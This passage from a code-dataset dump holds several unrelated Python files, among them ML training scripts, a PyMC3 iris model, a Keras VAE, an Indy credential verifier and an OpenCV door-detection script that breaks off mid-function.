\"com.au\"]))\n\n\ndef random_date(start, limit):\n current = start\n while limit >= 0:\n curr = current + datetime.timedelta(minutes=randrange(60))\n yield curr\n limit -= 1\n\n\ndef random_ip():\n return (\".\".join(map(str, (random.randint(0, 255) for _ in range(4)))))\n\n\ndef random_data(start_date):\n for x in random_date(start_date, 10):\n string = \",\".join(\n [str(datetime.datetime.now().strftime(\"%d/%m/%y %H:%M\")), x.strftime(\"%d/%m/%y %H:%M\"), random_ip(),\n random_url(4)])\n print(string)\n\n\nwhile True:\n for year in range(2016, 2050):\n month = 10\n for day in range(1, 30):\n start_date = datetime.datetime(year, month, day, 13, 00)\n random_data(start_date)\n","sub_path":"server_logs.py","file_name":"server_logs.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"342173726","text":"\"\"\"\r\nThis file serves as a training interface for training the network\r\n\"\"\"\r\n# Built in\r\nimport glob\r\nimport os\r\nimport shutil\r\nimport sys\r\nsys.path.append('../utils/')\r\n\r\n# Torch\r\n\r\n# Own\r\nimport flag_reader\r\nfrom utils import data_reader\r\nfrom class_wrapper import Network\r\nfrom model_maker import MDN\r\nfrom utils.helper_functions import put_param_into_folder, write_flags_and_BVE\r\n\r\ndef training_from_flag(flags):\r\n \"\"\"\r\n Training interface. 1. Read data 2. initialize network 3. train network 4. record flags\r\n :param flag: The training flags read from command line or parameter.py\r\n :return: None\r\n \"\"\"\r\n # Get the data\r\n train_loader, test_loader = data_reader.read_data(flags)\r\n print(\"Making network now\")\r\n\r\n # Make Network\r\n ntwk = Network(MDN, flags, train_loader, test_loader)\r\n\r\n # Training process\r\n print(\"Start training now...\")\r\n ntwk.train()\r\n\r\n # Do the house keeping, write the parameters and put into folder, also use pickle to save the flags obejct\r\n write_flags_and_BVE(flags, ntwk.best_validation_loss, ntwk.ckpt_dir)\r\n\r\n\r\ndef retrain_different_dataset(index):\r\n \"\"\"\r\n This function is to evaluate all different datasets in the model with one function call\r\n \"\"\"\r\n from utils.helper_functions import load_flags\r\n data_set_list = [\"meta_material\",\"robotic_arm\",\"sine_wave\",\"ballistics\"]\r\n for train_model in data_set_list:\r\n flags = load_flags(os.path.join(\"models\", train_model))\r\n #if train_model is 'meta_material':\r\n # flags.data_dir = os.path.join('../', 'Simulated_DataSets', 'Meta_material_Neural_Simulator')\r\n flags.model_name = \"retrain\" + str(index) + train_model\r\n flags.ckpt_dir = 'models/'\r\n flags.batch_size = 1024\r\n flags.train_step = 500\r\n flags.test_ratio = 0.2\r\n flags.stop_threshold = -float('inf')\r\n training_from_flag(flags)\r\n\r\ndef hyperswipe():\r\n \"\"\"\r\n This is for doing hyperswiping for the model parameters\r\n \"\"\"\r\n reg_scale_list = [1e-4]\r\n #reg_scale_list = [1e-4, 5e-4, 5e-5, 0]\r\n layer_size_list = [1000]\r\n #layer_size_list = [500, 1000]\r\n num_gauss_list = [8]\r\n #num_gauss_list = [5, 10, 15, 20, 25, 30]\r\n for reg_scale in reg_scale_list:\r\n for layer_num in range(10, 17, 2):\r\n for layer_size in layer_size_list:\r\n for num_gaussian in num_gauss_list:\r\n flags = flag_reader.read_flag() \t#setting the base case\r\n flags.reg_scale = reg_scale\r\n linear = [layer_size for j in range(layer_num)]\r\n linear[0] = 201\r\n linear[-1] = 8\r\n flags.linear = linear\r\n flags.num_gaussian = num_gaussian\r\n flags.model_name = flags.data_set + '_gaussian_'+str(num_gaussian) + '_layer_num_' + str(layer_num) + '_unit_' + str(layer_size) + '_lr_' + str(flags.lr) + '_reg_scale_' + str(reg_scale)\r\n try:\r\n training_from_flag(flags)\r\n except RuntimeError as e:\r\n print(\"Failing the device-side assert for MDN mdn.sample function! doing 3 retries now:\")\r\n for j in range(3):\r\n try:\r\n print(\"trying number \", j)\r\n training_from_flag(flags)\r\n break;\r\n except:\r\n print(\"Failing again! try again\")\r\n \r\n \r\n\r\n\r\nif __name__ == '__main__':\r\n # torch.manual_seed(1)\r\n # torch.cuda.manual_seed(1)\r\n # Read the parameters to be set\r\n flags = flag_reader.read_flag()\r\n \r\n hyperswipe()\r\n # Call the train from flag function\r\n #training_from_flag(flags)\r\n\r\n # Do the retraining for all the data set to get the training \r\n #for i in range(10):\r\n # retrain_different_dataset(i)\r\n","sub_path":"MDN/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"533151385","text":"#Fabricio Vidal da Costa Junior\r\n#Inicio: 11/09/2017\r\n#Ultima Atualizacao: 11/09/2017\r\n#Fim: ?\r\n\r\nfrom setup import *\r\nfrom draw import *\r\n\r\ndef main():\r\n\r\n\tglobal frameCount\r\n\tframeCount = 0\r\n\r\n\twhile(True):\r\n\t\tframeCount += 1\r\n\t\tdraw(frameCount)\r\n\r\nmain()","sub_path":"__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"64203041","text":"\"\"\"empty message\n\nRevision ID: 5714d1519aee\nRevises: d14e54753bfb\nCreate Date: 2016-06-15 17:50:34.478809\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '5714d1519aee'\ndown_revision = 'd14e54753bfb'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user', sa.Column('latitude', sa.Float(), nullable=True))\n op.add_column('user', sa.Column('longtitude', sa.Float(), nullable=True))\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('user', 'longtitude')\n op.drop_column('user', 'latitude')\n ### end Alembic commands ###\n","sub_path":"migrations/versions/5714d1519aee_.py","file_name":"5714d1519aee_.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"21615710","text":"\"\"\"Indy verifier implementation.\"\"\"\n\nfrom enum import Enum\nimport json\nimport logging\n\nimport indy.anoncreds\nfrom indy.error import IndyError\n\nfrom ..messaging.util import canon, encode\nfrom ..ledger.base import BaseLedger\n\nfrom .base import BaseVerifier\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass PreVerifyResult(Enum):\n \"\"\"Represent the result of IndyVerifier.pre_verify.\"\"\"\n\n OK = \"ok\"\n INCOMPLETE = \"missing essential components\"\n ENCODING_MISMATCH = \"demonstrates tampering with raw values\"\n\n\nclass IndyVerifier(BaseVerifier):\n \"\"\"Indy verifier class.\"\"\"\n\n def __init__(self, ledger: BaseLedger):\n \"\"\"\n Initialize an IndyVerifier instance.\n\n Args:\n ledger: ledger instance\n\n \"\"\"\n self.ledger = ledger\n\n async def pre_verify(self, pres_req: dict, pres: dict) -> (PreVerifyResult, str):\n \"\"\"\n Check for essential components and tampering in presentation.\n\n Visit encoded attribute values against raw, and predicate bounds,\n in presentation, cross-reference against presentation request.\n\n Args:\n pres_req: presentation request\n pres: corresponding presentation\n\n Returns:\n A tuple with `PreVerifyResult` representing the validation result and\n reason text for failure or None for OK.\n\n \"\"\"\n if not (\n pres_req\n and \"requested_predicates\" in pres_req\n and \"requested_attributes\" in pres_req\n ):\n return (PreVerifyResult.INCOMPLETE, \"Incomplete or missing proof request\")\n if not pres:\n return (PreVerifyResult.INCOMPLETE, \"No proof provided\")\n if \"requested_proof\" not in pres:\n return (PreVerifyResult.INCOMPLETE, \"Missing 'requested_proof'\")\n if \"proof\" not in pres:\n return (PreVerifyResult.INCOMPLETE, \"Missing 'proof'\")\n\n async with self.ledger:\n for (index, ident) in enumerate(pres[\"identifiers\"]):\n if not ident.get(\"timestamp\"):\n cred_def_id = ident[\"cred_def_id\"]\n cred_def = await self.ledger.get_credential_definition(cred_def_id)\n if cred_def[\"value\"].get(\"revocation\"):\n return (\n PreVerifyResult.INCOMPLETE,\n (\n f\"Missing timestamp in presentation identifier \"\n f\"#{index} for cred def id {cred_def_id}\"\n ),\n )\n\n for (uuid, req_pred) in pres_req[\"requested_predicates\"].items():\n try:\n canon_attr = canon(req_pred[\"name\"])\n for ge_proof in pres[\"proof\"][\"proofs\"][\n pres[\"requested_proof\"][\"predicates\"][uuid][\"sub_proof_index\"]\n ][\"primary_proof\"][\"ge_proofs\"]:\n pred = ge_proof[\"predicate\"]\n if pred[\"attr_name\"] == canon_attr:\n if pred[\"value\"] != req_pred[\"p_value\"]:\n return (\n PreVerifyResult.INCOMPLETE,\n f\"Predicate value != p_value: {pred['attr_name']}\",\n )\n break\n else:\n return (\n PreVerifyResult.INCOMPLETE,\n f\"Missing requested predicate '{uuid}'\",\n )\n except (KeyError, TypeError):\n return (\n PreVerifyResult.INCOMPLETE,\n f\"Missing requested predicate '{uuid}'\",\n )\n\n revealed_attrs = pres[\"requested_proof\"].get(\"revealed_attrs\", {})\n revealed_groups = pres[\"requested_proof\"].get(\"revealed_attr_groups\", {})\n self_attested = pres[\"requested_proof\"].get(\"self_attested_attrs\", {})\n for (uuid, req_attr) in pres_req[\"requested_attributes\"].items():\n if \"name\" in req_attr:\n if uuid in revealed_attrs:\n pres_req_attr_spec = {req_attr[\"name\"]: revealed_attrs[uuid]}\n elif uuid in self_attested:\n if not req_attr.get(\"restrictions\"):\n continue\n else:\n return (\n PreVerifyResult.INCOMPLETE,\n \"Attribute with restrictions cannot be self-attested \"\n f\"'{req_attr['name']}'\",\n )\n else:\n return (\n PreVerifyResult.INCOMPLETE,\n f\"Missing requested attribute '{req_attr['name']}'\",\n )\n elif \"names\" in req_attr:\n group_spec = revealed_groups.get(uuid)\n if (\n group_spec is None\n or \"sub_proof_index\" not in group_spec\n or \"values\" not in group_spec\n ):\n return (\n PreVerifyResult.INCOMPLETE,\n f\"Missing requested attribute group '{uuid}'\",\n )\n pres_req_attr_spec = {\n attr: {\n \"sub_proof_index\": group_spec[\"sub_proof_index\"],\n **group_spec[\"values\"].get(attr),\n }\n for attr in req_attr[\"names\"]\n }\n else:\n return (\n PreVerifyResult.INCOMPLETE,\n f\"Request attribute missing 'name' and 'names': '{uuid}'\",\n )\n\n for (attr, spec) in pres_req_attr_spec.items():\n try:\n primary_enco = pres[\"proof\"][\"proofs\"][spec[\"sub_proof_index\"]][\n \"primary_proof\"\n ][\"eq_proof\"][\"revealed_attrs\"][canon(attr)]\n except (KeyError, TypeError):\n return (\n PreVerifyResult.INCOMPLETE,\n f\"Missing revealed attribute: '{attr}'\",\n )\n if primary_enco != spec[\"encoded\"]:\n return (\n PreVerifyResult.ENCODING_MISMATCH,\n f\"Encoded representation mismatch for '{attr}'\",\n )\n if primary_enco != encode(spec[\"raw\"]):\n return (\n PreVerifyResult.ENCODING_MISMATCH,\n f\"Encoded representation mismatch for '{attr}'\",\n )\n\n return (PreVerifyResult.OK, None)\n\n async def verify_presentation(\n self,\n presentation_request,\n presentation,\n schemas,\n credential_definitions,\n rev_reg_defs,\n rev_reg_entries,\n ) -> bool:\n \"\"\"\n Verify a presentation.\n\n Args:\n presentation_request: Presentation request data\n presentation: Presentation data\n schemas: Schema data\n credential_definitions: credential definition data\n rev_reg_defs: revocation registry definitions\n rev_reg_entries: revocation registry entries\n \"\"\"\n\n (pv_result, pv_msg) = await self.pre_verify(presentation_request, presentation)\n if pv_result != PreVerifyResult.OK:\n LOGGER.error(\n f\"Presentation on nonce={presentation_request['nonce']} \"\n f\"cannot be validated: {pv_result.value} [{pv_msg}]\"\n )\n return False\n\n try:\n verified = await indy.anoncreds.verifier_verify_proof(\n json.dumps(presentation_request),\n json.dumps(presentation),\n json.dumps(schemas),\n json.dumps(credential_definitions),\n json.dumps(rev_reg_defs),\n json.dumps(rev_reg_entries),\n )\n except IndyError:\n LOGGER.exception(\n f\"Validation of presentation on nonce={presentation_request['nonce']} \"\n \"failed with error\"\n )\n verified = False\n\n return verified\n","sub_path":"aries_cloudagent/verifier/indy.py","file_name":"indy.py","file_ext":"py","file_size_in_byte":8280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"97136017","text":"from turtle import *\nimport time\n\nl =int(input(\"Quelle doit etre la taille des petales ?\"))\nn = int(input(\"Combien de petales ?\"))\n\ndef polygone(n,l):\n\tfor i in range(n):\n\t\tforward(l)\n\t\tleft(360/n)\n\t\nfor i in range(n):\n\tpolygone(4,l)\n\tleft(360/n)\n\n\ntime.sleep(3)\n","sub_path":"algoProgPeip1/td3/fleur.py","file_name":"fleur.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"234983804","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 1 19:04:50 2020\n\n@author: davideferri\n\"\"\"\n\nimport numpy as np \nimport pandas as pd\nimport scipy.stats as ss\nimport pymc3 as pm \nimport arviz as az\nimport matplotlib.pyplot as plt\nimport logging \n\n# initialize the logger\nlog = logging.getLogger(__name__)\nlogging.basicConfig(level=logging.INFO,format='%(name)s - %(levelname)s - %(message)s')\n\n# ---------------------- import the data ----------------------------- \n\niris = pd.read_csv('./data/Iris.csv')\nlog.info(\"The head of the Iris dataset is: %s\", iris.head())\n# plot the three species vs petal lenght\nsns.stripplot(x =\"species\", y = \"petal_width\", data = iris, jitter = True)\n\n# ---------------------- transformations ------------------------ #\n\n# keep only setosa and versicolor\niris = iris[(iris[\"species\"] == \"versicolor\")|(iris[\"species\"] == \"virginica\")]\n# set the dependant variable\ny_0 = pd.Categorical(iris[\"species\"]).codes\n# set the independent variable\nx_0 = iris[[\"petal_length\",\"petal_width\"]].values + 5\n# center the independent variable \nx_c = x_0 - x_0.mean(0)\n#log.info(\"The centered data is: %s\", x_c)\n\n# --------------------- specify the probabilistic model --------------------- #\n\nwith pm.Model() as MultLog_model:\n # specify the priors on the parameters \n alpha = pm.Normal(\"alpha\", mu = 0,sd = 10)\n beta = pm.Normal(\"beta\", mu = 0, sd = 2, shape = x_c.shape[1])\n # specify the value of theta \n theta = pm.Deterministic(\"theta\", pm.math.sigmoid(alpha + pm.math.dot(x_c,beta)))\n # specify a decision boundary for the data\n db = pm.Deterministic(\"db\", - alpha/beta[1] - beta[0]/beta[1] * x_c[:,0])\n # specify the likelihood of the data\n y_obs = pm.Bernoulli(\"y_obs\",p = theta, observed = y_0)\n # inference step \n trace = pm.sample(2000,tune = 1500)\n \n# ---------------------- analyse the posterior ---------------------------- # \n \nwith MultLog_model:\n # analyse the summary \n log.info(\"The summary of the trace is as follows: %s\", az.summary(trace,var_names = [\"alpha\",\"beta\"]))\n # plot the joint posterior\n az.plot_joint(trace, kind = \"kde\", var_names = [\"beta\"])\n \n# ---------------------- plot the data with the decision boundary ------------- # \n\n# initialize a figure\nplt.figure(figsize = (12,5))\n# get the index to order the independent variable \nidx = np.argsort(x_c[:,0])\n# get the mean of the decision boundary to plot\ndb = trace[\"db\"].mean(0)[idx]\n# scatter the true data\nplt.scatter(x_c[:,0],x_c[:,1],c = [f'C{x}' for x in y_0])\n# plot the decision boundary\nplt.plot(x_c[:,0][idx], db, c = \"k\")\n# get the hpd\naz.plot_hpd(x_c[:,0],trace[\"db\"], color = \"k\")\nplt.show()\n\n\n\n \n","sub_path":"MultLogReg_Iris.py","file_name":"MultLogReg_Iris.py","file_ext":"py","file_size_in_byte":2690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"85620427","text":"import tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom tensorflow.keras import layers\r\nfrom tensorflow.keras import Model, Sequential\r\n\r\nclass VAE(Model):\r\n def __init__(self, image_shape, latent_dim = 2):\r\n super(VAE, self).__init__()\r\n self.image_shape = image_shape\r\n self.latent_dim = latent_dim\r\n self.latent_factor = int(0.0625 * image_shape[0]) #0.25 #0,03125\r\n self.encoder_inputs = keras.Input(shape=self.image_shape)\r\n self.encoder = self.__build_encoder()\r\n self.encoder.summary()\r\n self.decoder = self.__build_decoder()\r\n self.decoder.summary()\r\n self.total_loss_tracker = keras.metrics.Mean(name=\"total_loss\")\r\n self.reconstruction_loss_tracker = keras.metrics.Mean(\r\n name=\"reconstruction_loss\"\r\n )\r\n self.kl_loss_tracker = keras.metrics.Mean(name=\"kl_loss\")\r\n\r\n @property\r\n def metrics(self):\r\n return [\r\n self.total_loss_tracker,\r\n self.reconstruction_loss_tracker,\r\n self.kl_loss_tracker,\r\n ]\r\n\r\n @tf.function\r\n def train_step(self, images):\r\n with tf.GradientTape() as tape:\r\n z_mean, z_log_var, z = self.encoder(images)\r\n reconstruction = self.decoder(z)\r\n reconstruction_loss = tf.reduce_mean(\r\n tf.reduce_sum(\r\n keras.losses.binary_crossentropy(images, reconstruction), axis=(1, 2)\r\n )\r\n )\r\n kl_loss = -0.5 * (1 + z_log_var - tf.square(z_mean) - tf.exp(z_log_var))\r\n kl_loss = tf.reduce_mean(tf.reduce_sum(kl_loss, axis=1))\r\n total_loss = reconstruction_loss + kl_loss\r\n grads = tape.gradient(total_loss, self.trainable_weights)\r\n self.optimizer.apply_gradients(zip(grads, self.trainable_weights))\r\n self.total_loss_tracker.update_state(total_loss)\r\n self.reconstruction_loss_tracker.update_state(reconstruction_loss)\r\n self.kl_loss_tracker.update_state(kl_loss)\r\n return {\r\n \"loss\": self.total_loss_tracker.result(),\r\n \"reconstruction_loss\": self.reconstruction_loss_tracker.result(),\r\n \"kl_loss\": self.kl_loss_tracker.result(),\r\n }\r\n\r\n def rebuild(self):\r\n return Model(self.encoder_inputs, self.decoder(self.encoder(self.encoder_inputs)), name=\"VAE\")\r\n\r\n def __build_encoder(self):\r\n x = layers.Conv2D(32, 3, strides=2, padding=\"same\")(self.encoder_inputs)\r\n x = layers.BatchNormalization()(x)\r\n x = layers.LeakyReLU()(x)\r\n x = layers.Conv2D(64, 3, strides=2, padding=\"same\")(self.encoder_inputs)\r\n x = layers.BatchNormalization()(x)\r\n x = layers.LeakyReLU()(x)\r\n x = layers.Conv2D(64, 3, strides=2, padding=\"same\")(self.encoder_inputs)\r\n x = layers.BatchNormalization()(x)\r\n x = layers.LeakyReLU()(x)\r\n x = layers.Conv2D(64, 3, strides=2, padding=\"same\")(self.encoder_inputs)\r\n x = layers.BatchNormalization()(x)\r\n x = layers.LeakyReLU()(x)\r\n x = layers.Flatten()(x)\r\n z_mean = layers.Dense(self.latent_dim, name=\"mean\")(x)\r\n z_log_var = layers.Dense(self.latent_dim, name=\"log_var\")(x)\r\n z = Sampling()([z_mean, z_log_var])\r\n return Model(self.encoder_inputs, [z_mean, z_log_var, z], name=\"encoder\")\r\n\r\n def __build_decoder(self):\r\n inputs = keras.Input(shape=(self.latent_dim,))\r\n x = layers.Dense(self.latent_factor * self.latent_factor * 64, activation=\"relu\")(inputs)\r\n x = layers.Reshape((self.latent_factor, self.latent_factor, 64))(x)\r\n x = layers.Conv2DTranspose(64, 3, strides=2, padding=\"same\")(x)\r\n x = layers.BatchNormalization()(x)\r\n x = layers.LeakyReLU()(x)\r\n x = layers.Conv2DTranspose(64, 3, strides=2, padding=\"same\")(x)\r\n x = layers.BatchNormalization()(x)\r\n x = layers.LeakyReLU()(x)\r\n x = layers.Conv2DTranspose(64, 3, strides=2, padding=\"same\")(x)\r\n x = layers.BatchNormalization()(x)\r\n x = layers.LeakyReLU()(x)\r\n x = layers.Conv2DTranspose(32, 3, strides=2, padding=\"same\")(x)\r\n x = layers.BatchNormalization()(x)\r\n x = layers.LeakyReLU()(x)\r\n outputs = layers.Conv2DTranspose(self.image_shape[2], 3, activation=\"sigmoid\", padding=\"same\")(x)\r\n return keras.Model(inputs, outputs, name=\"decoder\")\r\n\r\n def __build_encoder_(self):\r\n x = layers.Conv2D(32, 3, activation=\"relu\", strides=2, padding=\"same\")(self.encoder_inputs)\r\n x = layers.Conv2D(64, 3, activation=\"relu\", strides=2, padding=\"same\")(x)\r\n x = layers.Flatten()(x)\r\n x = layers.Dense(16, activation=\"relu\")(x)\r\n z_mean = layers.Dense(self.latent_dim, name=\"z_mean\")(x)\r\n z_log_var = layers.Dense(self.latent_dim, name=\"z_log_var\")(x)\r\n z = Sampling()([z_mean, z_log_var])\r\n return Model(self.encoder_inputs, [z_mean, z_log_var, z], name=\"encoder\")\r\n\r\n def __build_decoder_(self):\r\n inputs = keras.Input(shape=(self.latent_dim,))\r\n x = layers.Dense(self.latent_factor * self.latent_factor * 64, activation=\"relu\")(inputs)\r\n x = layers.Reshape((self.latent_factor, self.latent_factor, 64))(x)\r\n x = layers.Conv2DTranspose(64, 4, activation=\"relu\", strides=2, padding=\"same\")(x)\r\n x = layers.Conv2DTranspose(32, 3, activation=\"relu\", strides=2, padding=\"same\")(x)\r\n outputs = layers.Conv2DTranspose(1, 3, activation=\"sigmoid\", padding=\"same\")(x)\r\n return keras.Model(inputs, outputs, name=\"decoder\")\r\n\r\nclass Sampling(layers.Layer):\r\n def call(self, inputs):\r\n z_mean, z_log_var = inputs\r\n batch = tf.shape(z_mean)[0]\r\n dim = tf.shape(z_mean)[1]\r\n epsilon = tf.keras.backend.random_normal(shape=(batch, dim))\r\n return z_mean + tf.exp(0.5 * z_log_var) * epsilon","sub_path":"src/models/anomaly_detection/VAE.py","file_name":"VAE.py","file_ext":"py","file_size_in_byte":5853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"68106665","text":"\"\"\"\n정렬된 두 묶음의 숫자 카드가 있다고 하자. 각 묶음의 카드의 수를 A, B라 하면 보통 두 묶음을 합쳐서 하나로 만드는 데에는 A+B 번의 비교를 해야 한다.\n이를테면, 20장의 숫자 카드 묶음과 30장의 숫자 카드 묶음을 합치려면 50번의 비교가 필요하다.\n\n매우 많은 숫자 카드 묶음이 책상 위에 놓여 있다. 이들을 두 묶음씩 골라 서로 합쳐나간다면, 고르는 순서에 따라서 비교 횟수가 매우 달라진다.\n예를 들어 10장, 20장, 40장의 묶음이 있다면 10장과 20장을 합친 뒤, 합친 30장 묶음과 40장을 합친다면 (10+20)+(30+40) = 100번의 비교가 필요하다.\n그러나 10장과 40장을 합친 뒤, 합친 50장 묶음과 20장을 합친다면 (10+40)+(50+20) = 120 번의 비교가 필요하므로 덜 효율적인 방법이다.\n\nN개의 숫자 카드 묶음의 각각의 크기가 주어질 때, 최소한 몇 번의 비교가 필요한지를 구하는 프로그램을 작성하시오.\n\"\"\"\n\nimport sys\nimport heapq\ninput = sys.stdin.readline\n\nN = int(input())\ncards = [int(input()) for _ in range(N)]\n\nq = []\nfor card in cards:\n heapq.heappush(q, card)\n\nresult = 0\n\nwhile len(q) > 1:\n a = heapq.heappop(q)\n b = heapq.heappop(q)\n\n heapq.heappush(q, a+b)\n result += a + b\n\nprint(result)\n","sub_path":"CodingTest/Q-26.py","file_name":"Q-26.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"113649021","text":"class HueError(Exception):\n type = None\n description = None\n\n def __init__(self, *args, **kwargs):\n payload = kwargs.pop('payload', None)\n super(HueError, self).__init__(*args, **kwargs)\n if not payload:\n return\n error = payload['error']\n if 'type' in error:\n self.type = error['type']\n if 'description' in error:\n self.description = error['description']\n\n def __str__(self):\n if not self.description:\n return\n return self.description.capitalize()\n\n def __repr__(self):\n if not self.description:\n return\n return self.description.capitalize()\n","sub_path":"autohome/hue/exception.py","file_name":"exception.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"409010150","text":"import cv2\nimport sys\nimport numpy as np\nimport math\n\n# Detection method that gets used in all cases\ndef detect(img):\n img = resize(img, 120)\n width, height = img.shape[:2]\n # gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # blurred = cv2.GaussianBlur(gray, (3,3), 0)\n # cv2.imshow('blur1', blurred)\n # blurred = cv2.GaussianBlur(gray, (3,3), 1.5)\n # cv2.imshow('blur2', blurred)\n # blurred = cv2.GaussianBlur(gray, (3,3), 2.9)\n # cv2.imshow('blur3', blurred)\n # blurred = cv2.GaussianBlur(gray, (5,5), 0)\n # cv2.imshow('blur4', blurred)\n # blurred = cv2.GaussianBlur(gray, (5,5), 1.5)\n # cv2.imshow('blur5', blurred)\n # blurred = cv2.GaussianBlur(gray, (5,5), 2.9)\n # cv2.imshow('blur6', blurred)\n\n\n\n # edges = cv2.Canny(blurred, lower, upper)\n # cv2.imshow('edges1', edges)\n # edges = cv2.Canny(blurred, lower*2, upper)\n # cv2.imshow('edges2', edges)\n # edges = cv2.Canny(blurred, lower, upper*2)\n # cv2.imshow('edges3', edges)\n # edges = cv2.Canny(blurred, lower/2, upper)\n # cv2.imshow('edges4', edges)\n # edges = cv2.Canny(blurred, lower, upper/2)\n # cv2.imshow('edges5', edges)\n # edges = cv2.Canny(blurred, lower/2, upper*2)\n # cv2.imshow('edges6', edges)\n # edges = cv2.Canny(blurred, lower*2, upper/2)\n # cv2.imshow('edges7', edges)\n\n # edges = cv2.Canny(blurred, lower/2, upper)\n\n # OPTION 1: Hough Transform for extracting lines\n # img = houghOperations(img, edges)\n\n # OPTION 2: LSD LineSegmentDetector\n # NOTE: Was removed in OpenCV 4.1.0+\n # img = lsdOperations(gray)\n\n # Option 3: FLD FastLineDetector\n # img = fldOperations(gray)\n\n # Option 4: Saliency [multiple saliency objects exist]\n # sal = cv2.saliency.StaticSaliencySpectralResidual_create()\n # sal = cv2.saliency.StaticSaliencyFineGrained_create()\n # success, img = sal.computeSaliency(img)\n\n # Option 5: Corners\n img = useCorners(img)\n\n # Option 6: Shapes\n # img = useShapeDetection(img, edges, gray)\n\n return img\n\n# START---Detection of doors with the use of corners and edges\ndef useCorners(img):\n\n # cv2.imshow('og', img)\n # gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # blurred = cv2.GaussianBlur(gray, (3,3), 2.5)\n #\n # # Auto thresholds for now\n # sigma = 0.33\n # v = np.median(blurred)\n # lower = int(max(0, (1.0 - sigma) * v))\n # upper = int(min(255, (1.0 + sigma) * v))\n #\n # edges = cv2.Canny(blurred, lower/2, upper)\n # cv2.imshow('edges1', edges)\n\n######## contrast inrease #############\n img = cv2.addWeighted(img, 1.5, img, 0, 0)\n cv2.imshow('buf', img)\n\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n blurred = cv2.GaussianBlur(gray, (3,3), 2.5)\n\n # Auto thresholds for now\n sigma = 0.33\n v = np.median(blurred)\n lower = int(max(0, (1.0 - sigma) * v))\n upper = int(min(255, (1.0 + sigma) * v))\n\n edges = cv2.Canny(blurred, lower/2, upper)\n cv2.imshow('edges2', edges)\n\n\n # corners = cv2.goodFeaturesToTrack(edges, 50, 0.1, 10)\n off = 15\n roi = [off, edges.shape[0] - off, off, edges.shape[1] - off]\n mask = np.zeros_like(gray)\n mask[roi[0]:roi[1], roi[2]:roi[3]] = 255\n\n corners = cv2.goodFeaturesToTrack(gray, 40, 0.05, 10, mask=mask)\n\n for c in corners:\n x, y = c.ravel()\n cv2.circle(img, (x, y), 3, (0, 0, 255), -1)\n print(len(corners))\n\n # Group corners\n c_groups = groupCorners(corners, edges, img)\n\n # DRAW DOOR POSTS\n # for g in c_groups:\n # c1 = tuple(g[0])\n # c2 = tuple(g[1])\n # cv2.line(img, c1, c2, (0, 255, 0))\n\n # DRAW ALL CANDIDATES\n # for g in c_groups:\n # pts = np.array([g], np.int32)\n # pts = pts.reshape((-1,1,2))\n # cv2.polylines(img, [pts], True, (0,255,255), 1, cv2.LINE_AA)\n\n # Evaluate found groups and do further processing\n # edges = cv2.dilate(edges, (7,7), iterations=3)\n\n\n # edges = cv2.morphologyEx(edges, cv2.MORPH_CLOSE, (7, 7), iterations=3)\n #\n # cv2.imshow('edges_', edges)\n\n doors = []\n doorsRanking = []\n for g in c_groups:\n percentage = testCandidate(g, edges)\n\n if percentage > 0.85:\n doorsRanking.append(percentage)\n doors.append(g)\n\n for door in doors:\n pts = np.array([door], np.int32)\n pts = pts.reshape((-1,1,2))\n cv2.polylines(img, [pts], True, (255,0,0), 1, cv2.LINE_AA)\n # cv2.imshow('test',img)\n # cv2.waitKey(0)\n\n print('CANDIDATES', len(doors))\n\n if len(doors):\n door = chooseBestCandidate(doors, doorsRanking, gray)\n pts = np.array([door], np.int32)\n pts = pts.reshape((-1,1,2))\n cv2.polylines(img, [pts], True, (0,255,255), 1, cv2.LINE_AA)\n\n return img\n\ndef groupCorners(corners, img, showImg):\n height, width = img.shape[:2]\n\n THRESH_DIST_MAX = height * 0.85\n THRESH_DIST_MIN = height * 0.3\n\n # Goal is as high as possible somehow\n THRESH_ORI_MAX = 180\n THRESH_ORI_MIN = 50\n\n doorPosts = []\n\n done = np.zeros(len(corners))\n\n # Assuming that door posts are almost vertical\n for i, c1 in enumerate(corners):\n c1 = c1.ravel()\n for j, c2 in enumerate(corners):\n\n # Filter out duplicates\n if done[j] == True:\n continue\n\n c2 = c2.ravel()\n\n distance = getDistance(c1, c2)\n if distance < THRESH_DIST_MIN or distance > THRESH_DIST_MAX:\n continue\n\n orientation = np.degrees(getOrientation(c1, c2))\n if orientation < THRESH_ORI_MIN or orientation > THRESH_ORI_MAX:\n continue\n\n # sort so that the high point is always the first\n group = sorted([c1, c2], key=lambda k: [k[1], k[0]])\n\n doorPosts.append(group)\n\n # after all possibilities with c1 are done delete it\n done[i] = True\n\n print('DOORPOSTS', len(doorPosts))\n\n # DRAW DOOR POSTS\n # for g in doorPosts:\n # c1 = 